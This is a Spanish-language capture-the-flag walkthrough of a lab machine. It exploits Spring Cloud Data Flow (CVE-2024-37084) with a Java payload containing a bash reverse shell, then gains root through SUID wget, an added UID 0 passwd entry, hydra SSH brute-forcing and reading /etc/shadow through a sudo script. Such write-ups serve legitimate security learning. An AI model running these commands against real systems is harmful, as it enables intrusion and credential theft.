Enumeramos puertos:
❯ nmap -sCV -p 22,7577,9393 -oN 02-targeted.txt 192.168.1.7
...
22/tcp open ssh OpenSSH 7.4 (protocol 2.0)
7577/tcp open http Apache Tomcat
9393/tcp open http Apache Tomcat
...El puerto 9393 expone Spring Cloud Data Flow 2.11.3, vulnerable a RCE (CVE-2024-37084). Usamos el PoC de Kayiyan con un payload YAML de artsploit:
❯ cat src/artsploit/AwesomeScriptEngineFactory.java
...
public AwesomeScriptEngineFactory() {
try {
String cmd = "bash -i >& /dev/tcp/192.168.1.6/1234 0>&1";
Runtime.getRuntime().exec(new String[]{"/bin/bash", "-c", cmd});
} catch (IOException e) { ... }
}
...❯ /usr/lib/jvm/java-8-openjdk/bin/javac src/artsploit/AwesomeScriptEngineFactory.java
❯ jar -cvf yaml-payload.jar -C src/ .
❯ python3 -m http.server
❯ python3 CVE-2024-37084-Poc.py --target_url http://192.168.1.7:7577/api/package/upload --version 5.0.0 --payload_url http://192.168.1.6:8000/yaml-payload.jar --listen_ip 192.168.1.6 --listen_port 1234
❯ ncat -lvp 1234
Ncat: Connection from 192.168.1.7:43772.
cnb@921567b128b2:/workspace$Estamos dentro de un Docker. Buscando binarios SUID encontramos wget, que abusamos (GTFOBins, --use-askpass) para obtener root dentro del contenedor y añadir un usuario UID 0:
cnb@921567b128b2:/var$ find / -perm -4000 2>/dev/null
...
/usr/local/bin/wget
...
cnb@921567b128b2:/var$ TF=$(mktemp)
cnb@921567b128b2:/var$ chmod +x $TF
cnb@921567b128b2:/var$ echo -e '#!/bin/sh -p\n/bin/sh -p 1>&0' >$TF
cnb@921567b128b2:/var$ wget --use-askpass=$TF 0
# id
uid=1000(cnb) gid=1000(cnb) euid=0(root) egid=0(root) groups=0(root),1000(cnb)
# echo 'pwned:$1$salt1234$bTARrDtiFtJF9wDZzDFx00:0:0:xxoo,,,:/root:/bin/bash' >> /etc/passwdYa como root del contenedor, leemos /var/mail/mathlake/data.xlsx y lo exfiltramos. El reto es un problema matemático (descomposición de series temporales); la pista del número favorito 256 apunta a sha256. Resolvemos la tendencia para junio 2025 (55) y generamos un wordlist de hashes:
❯ cat hashes.sh
#!/bin/bash
for i in {54..56};do
for j in {0..6};do
for k in {0..1};do
echo "$i*$j*$k" |sha256sum|awk '{print $1}';
done
done
done
❯ ./hashes.sh > wordlist.txt
❯ hydra -l mathlake -P wordlist.txt 192.168.1.7 ssh -t 64
...
[22][ssh] host: 192.168.1.7 login: mathlake password: 9bd29d2c90998b5af05b3fdf10d9ab4c9eff53f2a827fbc39247200874ab6ca3
...Entramos por SSH como mathlake (host real) y obtenemos la primera flag. Revisamos sudo -l:
[mathlake@mathdop ~]$ sudo -l
...
User mathlake may run the following commands on mathdop:
(ALL) NOPASSWD: /opt/secure_input_handler.shEl script ejecuta comandos en base64 pero solo permite date, pwd, echo. Abusamos de date -f (lee un archivo línea por línea) para leer /etc/shadow:
❯ echo 'date -f /etc/shadow' | base64
ZGF0ZSAtZiAvZXRjL3NoYWRvdwo=
[mathlake@mathdop ~]$ sudo /opt/secure_input_handler.sh
Input Command: ZGF0ZSAtZiAvZXRjL3NoYWRvdwo=
...
date: invalid date ‘# Worth waiting for’
...Ese comentario resulta ser la contraseña de root:
[mathlake@mathdop ~]$ su root
Password: Worth waiting for
[root@mathdop mathlake]#Obtenemos nuestra flag.
Fin.